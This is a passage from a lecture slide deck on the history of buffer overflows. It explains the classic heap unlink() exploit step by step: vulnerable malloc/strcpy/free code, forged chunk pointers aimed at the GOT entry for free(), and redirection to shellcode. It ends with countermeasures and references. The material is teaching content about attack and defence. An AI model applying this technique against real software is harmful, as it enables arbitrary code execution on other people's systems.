→ P->fd = 0x34333231→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 117 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

unlink() Vulnerability (cont’d)

Vulnerable Code

1 free(buf1) looks atPREV INUSE of chunk #3.

2 unlink() on chunk #2.3 P->fd->bk = P->bk

→ P->fd = 0x34333231→ P->bk = 0x38373635

⇒ Segmentation fault at0x34333231 + 12

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

34 33 32 31

38 37 36 35

32 31 30 39

\0

high

add

ress

es

Matthias Vallentin On the Evolution of Buffer Overflows 118 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)

Matthias Vallentin On the Evolution of Buffer Overflows 119 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)

Matthias Vallentin On the Evolution of Buffer Overflows 120 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stack

Function pointer in the Global Offset Table (GOT)

Matthias Vallentin On the Evolution of Buffer Overflows 121 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)

Matthias Vallentin On the Evolution of Buffer Overflows 122 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)

Digression: ELF position independent code (PIC)

”The linker creates a global offset table (GOT) containingpointers to all of the global data that the executable fileaddresses.” [Lev99]

redirects position independent references to a absolutelocations.

Matthias Vallentin On the Evolution of Buffer Overflows 123 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Exploiting Heap Overflows

Pointer Overwrites

As we can overwrite arbitrary memory, what do we pick?

Naturally we choose a pointer; candidates are:

Return instruction pointer (RIP) on the stackFunction pointer in the Global Offset Table (GOT)

Stable Exploits

GOT entries have fixed addresses in one and the same binary.⇒ Potentiates solid and robust exploits!

Matthias Vallentin On the Evolution of Buffer Overflows 124 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(256);char *buf3 = malloc(0);...strcpy(buf2, argv[1]);...free(buf1);free(buf2);...

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

size

fd

bk

buf1

buf2

buf3

fd

bk

prev_size

high

add

ress

es

data

PREV_INUSE

Matthias Vallentin On the Evolution of Buffer Overflows 125 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code...char *buf1 = malloc(0);char *buf2 = malloc(256);char *buf3 = malloc(0);...strcpy(buf2, argv[1]);...free(buf1);free(buf2);...

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 126 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD

→ overwrites 4 bytes of theshellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 127 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 8

3 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD

→ overwrites 4 bytes of theshellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 128 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD

→ overwrites 4 bytes of theshellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 129 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD

→ overwrites 4 bytes of theshellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 130 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD

→ overwrites 4 bytes of theshellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 131 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD→ overwrites 4 bytes of the

shellcode

→ shellcode has to jumpover its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 132 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD→ overwrites 4 bytes of the

shellcode→ shellcode has to jump

over its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 133 / 146

IntroductionBuffer Overflows

Conclusion

1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

Practical Exploitation

Vulnerable Code

1 FD = &free() - 12

2 BK = buf2 + 83 FD->bk = BK

→ &free() is now&shellcode

4 BK->fd = FD→ overwrites 4 bytes of the

shellcode→ shellcode has to jump

over its modification

sh-2.05$

prev_size

size

fd

PREV_INUSE

bk

prev_size

size PREV_INUSE

fd

bk

buf1

buf2

buf3

&free() - 12

buf2 + 8

42 42 42 42

\0

high

add

ress

es

shellcode

ff ff ff

Matthias Vallentin On the Evolution of Buffer Overflows 134 / 146

IntroductionBuffer Overflows

Conclusion

Outline

1 IntroductionMotivationUnderstanding Function Calls

2 Buffer Overflows1. Generation: Stack-based Overflows2. Generation: Off-by-Ones and Frame Pointer Overwrites3. Generation: BSS Overflows4. Generation: Heap Overflows

3 Conclusion

Matthias Vallentin On the Evolution of Buffer Overflows 135 / 146

IntroductionBuffer Overflows

Conclusion

Countermeasures – Various Approaches [Kle04]

1 Fighting the cause:

Secure programming: educate your programmers!(Automatic) software tests: nessus, ISS

static: grep, flawfinder, splint, RATS

dynamic (tracer): electronic fence, purify, valgrind

Binary audit

fault injection: fuzzersreverse engineering: IDA Pro, SoftICE

2 Fighting the effects:

Wrapper for ”unsafe” library functions: libsafeCompiler extensions: bounds checking, StackGuard (canary),Modifying the process environment: PaX, non-exec stack

Matthias Vallentin On the Evolution of Buffer Overflows 136 / 146

IntroductionBuffer Overflows

Conclusion

Countermeasures – Various Approaches [Kle04]

1 Fighting the cause:

Secure programming: educate your programmers!(Automatic) software tests: nessus, ISS

static: grep, flawfinder, splint, RATS

dynamic (tracer): electronic fence, purify, valgrind

Binary audit

fault injection: fuzzersreverse engineering: IDA Pro, SoftICE

2 Fighting the effects:

Wrapper for ”unsafe” library functions: libsafeCompiler extensions: bounds checking, StackGuard (canary),Modifying the process environment: PaX, non-exec stack

Matthias Vallentin On the Evolution of Buffer Overflows 137 / 146

IntroductionBuffer Overflows

Conclusion

Summary

Buffer Overflows still account for the largest share ofsoftware vulnerabilities.

They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows

Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.

Matthias Vallentin On the Evolution of Buffer Overflows 138 / 146

IntroductionBuffer Overflows

Conclusion

Summary

Buffer Overflows still account for the largest share ofsoftware vulnerabilities.

They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows

Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.

Matthias Vallentin On the Evolution of Buffer Overflows 139 / 146

IntroductionBuffer Overflows

Conclusion

Summary

Buffer Overflows still account for the largest share ofsoftware vulnerabilities.

They evolved through many generations:1 RIP overwrites2 Frame Pointer overwrites3 BSS overflows4 Heap overflows

Combined mitigation techniques should be employed toalleviate the overall risk of exploitation.

Matthias Vallentin On the Evolution of Buffer Overflows 140 / 146

IntroductionBuffer Overflows

Conclusion

Beyond Buffer Overflows

Buffer overflows are just the beginning.

Today’s malware employs sophisticated techniques:

Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation

Not only used by malware (wink wink, Skype).

Matthias Vallentin On the Evolution of Buffer Overflows 141 / 146

IntroductionBuffer Overflows

Conclusion

Beyond Buffer Overflows

Buffer overflows are just the beginning.

Today’s malware employs sophisticated techniques:

Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation

Not only used by malware (wink wink, Skype).

Matthias Vallentin On the Evolution of Buffer Overflows 142 / 146

IntroductionBuffer Overflows

Conclusion

Beyond Buffer Overflows

Buffer overflows are just the beginning.

Today’s malware employs sophisticated techniques:

Binary packingSelf-modifying / self-checking code (SM-SC)Anti debugging tricksCode obfuscation

Not only used by malware (wink wink, Skype).

Matthias Vallentin On the Evolution of Buffer Overflows 143 / 146

IntroductionBuffer Overflows

Conclusion

FIN

Matthias Vallentin On the Evolution of Buffer Overflows 144 / 146

IntroductionBuffer Overflows

Conclusion

References I

Peter Szor.The Art of Computer Virus Research and Defense.Addison-Wesley, 2005.

Tobias Klein.Buffer Overflows und Format-String-Schwachstellen.dpunkt.verlag, 2004.

John R. Levine.Linkers & Loaders.Morgan Kaufmann Publishers Inc., 1999.

Aleph One.Smashing The Stack For Fun And Profit.Phrack Magazine #49-14, 1996.

Matthias Vallentin On the Evolution of Buffer Overflows 145 / 146

IntroductionBuffer Overflows

Conclusion

References II

klog.The Frame Pointer Overwrite.Phrack Magazine #55-8, 1999.

Matt Conover.w00w00 on Heap Overflows.http://www.w00w00.org/articles.html, 1999.

Paul R. Wilson and Mark S. Johnstone and Michael Neely andDavid Boles.Dynamic Storage Allocation: A Survey and Critical Review.International Workshop on Memory Management, 1995.

Matthias Vallentin On the Evolution of Buffer Overflows 146 / 146